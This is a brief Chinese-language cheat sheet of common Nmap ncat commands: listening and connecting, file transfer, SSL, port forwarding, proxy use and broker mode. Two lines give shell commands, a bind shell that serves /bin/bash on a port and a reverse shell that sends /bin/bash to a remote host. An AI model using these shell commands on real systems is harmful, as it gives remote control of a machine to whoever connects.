ncat是一个功能极多的网络工具,这里记录几个ncat的常用方法。注意这里用的ncat是nmap开发的版本而不是freebsd或者原始的nc
简陋通信
服务机
1 | ncat -l $port |
客户机
1 | ncat $ip $port |
在上面的基础上,可以进行文件的传输
server
1 | ncat -l $port < $FILE |
client
1 | ncat $ip $port > $FILE |
发送方也可以用-o选项直接进行发送
ncat也支持ssl通信加上—ssl即可连接需要ssl的服务器
端口转发
1 | ncat -lk $localport -c "ncat $ip $port" |
分享shell
1 | ncat -lk $port -e /bin/bash |
同理也可以反弹shell
1 | ncat $ip $port -e /bin/bash |
连接代理服务器
1 | ncat --proxy-type http\socks5\socks4 --proxy $proxy_ip --proxy-auth $name:$passwd $host $ip |
也可作为ssh的代理指令
创建代理服务器
1 | ncat -l --proxy-type $proxy_type $ip $port --proxy-auth $name:$passwd |
ncat的特殊代理模式
1 | ncat -l --broker |
作为通信的中枢,接受并广播。